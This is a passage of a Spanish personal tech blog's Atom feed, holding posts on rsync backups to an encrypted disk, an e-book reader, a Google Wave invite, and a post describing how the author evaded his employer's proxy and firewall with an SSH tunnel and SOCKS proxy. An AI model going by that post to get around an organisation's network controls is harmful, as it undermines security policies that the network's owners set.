cifrado!!!!"&lt;br /&gt;echo "CTRL+C para cancelar"&lt;br /&gt;read&lt;br /&gt;&lt;br /&gt;DATA_HOME=/mnt/raid/datos/doraemon/current&lt;br /&gt;BACKUP_DST=/mnt/ext_backup&lt;br /&gt;LOG_FILE=/root/log_externalBackup/$(date +%Y%m%d_%H%M)_externalBackup.log&lt;br /&gt;FINAL_LOG_DST=/mnt/ext_backup/logs&lt;br /&gt;&lt;br /&gt;rsync -avpz --stats "$DATA_HOME/media/sda2/Fotos" $BACKUP_DST &gt; $LOG_FILE&lt;br /&gt;rsync -avpz --stats "$DATA_HOME/media/sda2/Musica" $BACKUP_DST &gt;&gt; $LOG_FILE&lt;br /&gt;&lt;br /&gt;cp $LOG_FILE $FILE_LOG_DST/&lt;/pre&gt;&lt;/li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Y listo, con esto estaría todo terminado. Ya sólo hay que lanzar el script y esperar a la sincronización. La primera vez tardará varias horas en función del volumen de datos, pero posteriormente la copia no debería tardar demasiado.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Tal vez esta solución no sea la más limpia y elegante, puesto que los datos no están al día, hay que acordarse de traer y llevar el disco externo (con un par de notas en Google Calendar se soluciona), pero sin duda es más barata y tienes más control de tus datos :-P&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=5rPYdtlXEiE:A_78isJBiQU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=5rPYdtlXEiE:A_78isJBiQU:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=5rPYdtlXEiE:A_78isJBiQU:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=5rPYdtlXEiE:A_78isJBiQU:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=5rPYdtlXEiE:A_78isJBiQU:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=5rPYdtlXEiE:A_78isJBiQU:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=5rPYdtlXEiE:A_78isJBiQU:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=5rPYdtlXEiE:A_78isJBiQU:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=5rPYdtlXEiE:A_78isJBiQU:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=5rPYdtlXEiE:A_78isJBiQU:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/5rPYdtlXEiE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/1356374362852907853/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2010/03/backups-off-site-cifrados-truecrypt.html#comment-form" title="6 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/1356374362852907853?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/1356374362852907853?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/5rPYdtlXEiE/backups-off-site-cifrados-truecrypt.html" title="Backups off-site cifrados truecrypt" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>6</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2010/03/backups-off-site-cifrados-truecrypt.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkAMSHs5eCp7ImA9WxBQF08.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-6905397305872939202</id><published>2010-01-17T10:32:00.000+01:00</published><updated>2010-01-17T10:33:09.520+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-17T10:33:09.520+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tecnología" /><title>8 meses con un e-book</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Cuando estuvimos en &lt;a href="http://lopezivan.blogspot.com/2009/06/viaje-nueva-york-i.html"&gt;Nueva York&lt;/a&gt; el pasado mes de mayo, una de las cosas que nos compramos (a parte de bolsos de imitación) fue un lector de libros electrónico. Más concretamente lo compramos para mi mujer, gran lectora que está devorando libros todo el año. El modelo elegido fue el &lt;a href="http://www.sonystyle.com/webapp/wcs/stores/servlet/ProductDisplay?catalogId=10551&amp;storeId=10151&amp;productId=8198552921665245739&amp;langId=-1"&gt;Sony PRS-505&lt;/a&gt; del que ya habíamos leído mucho antes del viaje y llevábamos preparadas varias tiendas físicas en donde lo vendían a muy buen precio. Al cambio nos costó unos 220€, que aunque puede parece elevado al principio, en cuanto te has leído unos 20-25 libros lo has amortizado completamente. Es cierto que en este tiempo se ha avanzado bastante, Sony ha presentado nuevos modelos con más prestaciones e incluso más baratos, Amazon ha decidido vender en Kindle en España (aunque lo vimos a una mujer en el metro y Ana me dijo que era muy feo), e incluso Barnes &amp; Noble ha presentado el suyo, el &lt;a href="http://www.barnesandnoble.com/nook/index.asp"&gt;nook&lt;/a&gt;, que parece va a ser el &lt;i&gt;Kindle-Killer&lt;/i&gt;. En fin, como todo en esto de la informática, nunca se puede estar a la última...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/S1LTtdWJJ7I/AAAAAAAABIM/Adz_wC7-_pk/s1600-h/Ebook01.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/S1LTtdWJJ7I/AAAAAAAABIM/Adz_wC7-_pk/s400/Ebook01.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5427633278859945906" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Para los que nunca han tenido un ebook en las manos, decir que la nitidez y la calidad es muy buena. Al no ser una pantalla brillante no cansa la vista y al ser tinta electrónica sólo se gasta batería cuando se pasa página. Aunque en las especificaciones oficiales indica que la batería dura unos 7500 cambios de página, en realidad es algo menos (vamos, como las especifícaciones de los móviles). Aún así, se pueden leer varios libros de los gordos con una carga completa. &lt;br /&gt;&lt;center&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/S1LTtieAPxI/AAAAAAAABIU/U3KW4V1F7Mo/s1600-h/Ebook02.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 400px;" src="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/S1LTtieAPxI/AAAAAAAABIU/U3KW4V1F7Mo/s400/Ebook02.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5427633280235093778" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/S1LTt7tkcOI/AAAAAAAABIc/dH_cCrybc8g/s1600-h/Ebook03.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 400px;" src="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/S1LTt7tkcOI/AAAAAAAABIc/dH_cCrybc8g/s400/Ebook03.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5427633287011266786" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Respecto a los libros, actualmente estamos descargando libros en el formato nativo (y propietario) de Sony LRF. Es un formato ocupa que muy poco (un libro mediano son unos 500 Kbytes), permite tener índice, tabla de contenidos e incluso portada. Hay gran cantidad de libros disponibles en este formato y en distintos foros hay mucha gente que escanea, convirte, maqueta y prepara las novedades a este nuevo formato. Por ejemplo, el tercer libro de la trilogía Milenium de Stieg Larsson estaba disponible para descargar sólo 3 días después de su lanzamiento en formato físico.&lt;br /&gt;Al viaje nos llevamos en una tarjeta sd unos cuantos libros en distintos formatos para probarlo y ya esperando en el aeropuerto para volver y durante el vuelo estuvo usándolo.&lt;br /&gt;Yo también he utilizado el libro para leer algún pdf técnico y la experiencia es muy buena. Incluso con el zoom al mínimo en el que se muestra toda la página, la nitidez es perfecta.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Para gestionar la biblioteca digital utilizo &lt;a href="http://calibre.kovidgoyal.net/"&gt;Calibre&lt;/a&gt;. Es una aplicación open source y multiplataforma (windows, linux y mac) muy completa, con gran cantidad de opciones y que se actualiza muy a menudo. Muchísimo mejor que la de Sony que viene con el lector y que por supuesto sólo funciona con windows.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Después de 8 meses de uso mi mujer está encantada con la compra, lee ahora más que antes y encima los libros que ella quiere sin necesidad de esperar a algún cumpleaños a que se los regalen o que alguien le preste alguno. &lt;br /&gt;Todavía recuerdo como hace algo más de un año, cenando con unos amigos salió el tema de los libros electrónicos y mi mujer decía que no sería lo mismo que los libros en papel, y que se perdía la gracia y el tacto del papel. Ahora mismo no cambia su ebook por nada... :-)&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=lX8BWJe4RRo:eSDNILaGlfg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=lX8BWJe4RRo:eSDNILaGlfg:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=lX8BWJe4RRo:eSDNILaGlfg:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=lX8BWJe4RRo:eSDNILaGlfg:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=lX8BWJe4RRo:eSDNILaGlfg:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=lX8BWJe4RRo:eSDNILaGlfg:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=lX8BWJe4RRo:eSDNILaGlfg:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=lX8BWJe4RRo:eSDNILaGlfg:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=lX8BWJe4RRo:eSDNILaGlfg:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=lX8BWJe4RRo:eSDNILaGlfg:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/lX8BWJe4RRo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/6905397305872939202/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2010/01/8-meses-con-un-e-book.html#comment-form" title="7 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/6905397305872939202?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/6905397305872939202?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/lX8BWJe4RRo/8-meses-con-un-e-book.html" title="8 meses con un e-book" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/S1LTtdWJJ7I/AAAAAAAABIM/Adz_wC7-_pk/s72-c/Ebook01.jpg" height="72" width="72" /><thr:total>7</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2010/01/8-meses-con-un-e-book.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08FSXc-fSp7ImA9WxNaEEs.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-6130507890733763608</id><published>2009-11-24T12:51:00.003+01:00</published><updated>2009-11-24T13:30:18.955+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-24T13:30:18.955+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hack" /><category scheme="http://www.blogger.com/atom/ns#" term="Internet" /><title>Saltarse proxy con tunel ssh + socks</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Hace ya casi tres años explicaba un método para &lt;a href="http://lopezivan.blogspot.com/2007/01/httport-htthost-o-cmo-saltarse-proxy.html"&gt;saltarse un proxy + firewall corporativo con un tunel HTTP&lt;/a&gt;. Unos meses después nos quitaron las restricciones y podíamos conectarnos libremente a internet sin proxy (con un proxy transparente), pero hace unos días la cosa ha cambiado. Han implementado nuevas políticas de seguridad y otras vez nos hemos quedado sin acceso a gmail, facebook, blogs y demás páginas consideradas &lt;i&gt;hostiles&lt;/i&gt;.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Pero claro, ya nos lo hemos saltado de nuevo, sino no existiría este post :-D. Tengo que decir que el método no es mío, sino que lo he encontrado &lt;a href="http://raxor.es/navegacion_segura_ssh/"&gt;aquí&lt;/a&gt;, aunque es cierto que he estado muy cerca de la solución :-P.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Haciendo un resumen rápido, consiste en establecer un tunel ssh por el que irá nuestra conexión a internet a las páginas prohibidas, pero en lugar de poner en el otro extremo el ordenador de nuestra casa y configurar ahí un proxy http, nos conectamos por ssh a nuestro router y él es el que se encarga de servirnos las páginas web. En el navegador, en lugar de configurar un proxy http utilizamos un proxy socks.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Debo decir que según estaba leyendo el tutorial no pensaba que fuera posible. De hecho, aunque sabía que existían los proxies socks, no tenía claro cual era su función. En la wikipedia por medio de un ejemplo nos explican &lt;a href="http://en.wikipedia.org/wiki/SOCKS#Comparison_between_SOCKS_and_HTTP_proxies"&gt;las diferencias entre un proxy http y un proxy socks&lt;/a&gt;.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ayer configuré todo en casa y esta mañana lo he probado en el trabajo y todo funciona sin problemas. La única limitación es que al pasar todo nuestro tráfico por la conexión de casa, estamos limitados por el ancho de banda de subida (sí, subida porque nuestro router nos tiene que enviar todo) que tengamos contratado. &lt;br /&gt;Como también tengo acceso por ssh al servidor linux donde está corriendo &lt;a href="http://lopezivan.blogspot.com/2009/07/demo-de-mufly.html"&gt;Mufly&lt;/a&gt; que tiene un ancho de banda mucho mayor, he hecho un test de velocidad. La primera captura es estableciendo el tunel contra mi router y la segunda contra el servidor de Mufly. La diferencia salta a la vista, así que, después de hablar con el dueño del servidor, voy a establecer el tunel por él :-P.&lt;br /&gt;&lt;br&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Swu_RXVFgQI/AAAAAAAABEw/CHG5Mff-da0/s1600/VelocidadCasa.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 288px;" src="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Swu_RXVFgQI/AAAAAAAABEw/CHG5Mff-da0/s400/VelocidadCasa.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5407626082629550338" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Swu_RpOovGI/AAAAAAAABE4/ppmehUetYI8/s1600/VelocidadServer.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 287px;" src="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Swu_RpOovGI/AAAAAAAABE4/ppmehUetYI8/s400/VelocidadServer.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5407626087434337378" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Si queréis información más técnica y detallada no hay mejor sitio que estos dos magníficos artículos de &lt;a href="http://www.vicente-navarro.com"&gt;Vicente Navarro&lt;/a&gt; (aka Supercoco):&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.vicente-navarro.com/blog/2009/05/24/creando-tuneles-tcpip-port-forwarding-con-ssh-los-8-escenarios-posibles-usando-openssh/"&gt;Creando túneles TCP/IP (port forwarding) con SSH: Los 8 escenarios posibles usando OpenSSH&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.vicente-navarro.com/blog/2009/06/13/reenvio-dinamico-de-puertos-montar-un-servidor-socks-con-ssh/"&gt;Reenvío dinámico de puertos / montar un servidor SOCKS con SSH&lt;/a&gt;&lt;/li&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=B5K2g7kEAo4:vRixwLj65KA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=B5K2g7kEAo4:vRixwLj65KA:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=B5K2g7kEAo4:vRixwLj65KA:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=B5K2g7kEAo4:vRixwLj65KA:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=B5K2g7kEAo4:vRixwLj65KA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=B5K2g7kEAo4:vRixwLj65KA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=B5K2g7kEAo4:vRixwLj65KA:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=B5K2g7kEAo4:vRixwLj65KA:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=B5K2g7kEAo4:vRixwLj65KA:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=B5K2g7kEAo4:vRixwLj65KA:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/B5K2g7kEAo4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/6130507890733763608/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2009/11/saltarse-proxy-con-tunel-ssh-socks.html#comment-form" title="5 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/6130507890733763608?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/6130507890733763608?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/B5K2g7kEAo4/saltarse-proxy-con-tunel-ssh-socks.html" title="Saltarse proxy con tunel ssh + socks" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/Swu_RXVFgQI/AAAAAAAABEw/CHG5Mff-da0/s72-c/VelocidadCasa.png" height="72" width="72" /><thr:total>5</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2009/11/saltarse-proxy-con-tunel-ssh-socks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08DSH46fyp7ImA9WxNWEkQ.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-3593312739819134889</id><published>2009-10-12T00:23:00.001+02:00</published><updated>2009-10-12T00:24:39.017+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-12T00:24:39.017+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Google Wave" /><title>Tengo cuenta en Google Wave</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Pues sí, lo que leéis en el título del post, desde hace una par de días tengo activa mi cuenta de Google &lt;span style="color: rgb(51, 51, 255)"&gt;\&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0)"&gt;/&lt;/span&gt;&lt;span style="color: rgb(255, 204, 102)"&gt;\&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0)"&gt;/&lt;/span&gt;ave. &lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;En su momento, cuando salió la &lt;i&gt;dev preview&lt;/i&gt; solicité mi cuenta y en poco tiempo Google me envió una invitación para probar. Hace unas semanas, cuando se han enviado las primeras 100.000 invitaciones, me llegó un wave a mi cuenta de developer con un link para activar Google Wave con mi cuenta habitual de gmail. Como podéis ver en la captura, todavía hay poco, sólo tengo un contacto (pedimos las cuentas de developer a la vez) y no hay mucho movimiento.&lt;br /&gt;&lt;br&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/StJRVlMLYbI/AAAAAAAAA_I/ObNHG3DBglg/s1600-h/GoogleWave.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 305px;" src="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/StJRVlMLYbI/AAAAAAAAA_I/ObNHG3DBglg/s400/GoogleWave.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5391461135118197170" /&gt;&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;La primera vez que nos conectamos a Google Wave vemos que hay dos waves, el que tengo abierto en pantalla que nos da la bienvenida y otro en el que tenemos "nominaciones" para invitar a gente a usar Google Wave. Como indican en este wave las invitaciones no se envían inmediatamente, por lo que los elegidos deben tener paciencia...&lt;br /&gt;&lt;blockquote&gt;Invitations will not be sent immediately. We have a lot of stamps to lick.&lt;/blockquote&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;De momento, como he comentado, no lo puedo utilizar demasiado por falta de contactos pero la primera impresión es muy buena. La interfaz está muy cuidada y tiene pequeños detalles en los que se nota que los chicos de Google han puesto todo su esmero y que la hacen muy usable. Está totalmente desarrollada con Google Web Toolkit, aunque con mejoras que no se introducirán hasta la versión 2.0 que esperamos sea liberada dentro de poco. &lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;En fin, que espero que poco a poco mis contactos se vayan ampliando para poder sacarle todo el partido posible. Os mantendré informados de las novedades.&lt;br /&gt;&lt;br&gt;P.D: Antes de que preguntéis, no tengo más invitaciones, he repartido todas.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=JXS_9N1UpS8:O8H2kIPcdfA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=JXS_9N1UpS8:O8H2kIPcdfA:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=JXS_9N1UpS8:O8H2kIPcdfA:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=JXS_9N1UpS8:O8H2kIPcdfA:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=JXS_9N1UpS8:O8H2kIPcdfA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=JXS_9N1UpS8:O8H2kIPcdfA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=JXS_9N1UpS8:O8H2kIPcdfA:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=JXS_9N1UpS8:O8H2kIPcdfA:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=JXS_9N1UpS8:O8H2kIPcdfA:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=JXS_9N1UpS8:O8H2kIPcdfA:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/JXS_9N1UpS8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/3593312739819134889/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2009/10/tengo-cuenta-en-google-wave.html#comment-form" title="6 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3593312739819134889?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3593312739819134889?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/JXS_9N1UpS8/tengo-cuenta-en-google-wave.html" title="Tengo cuenta en Google Wave" 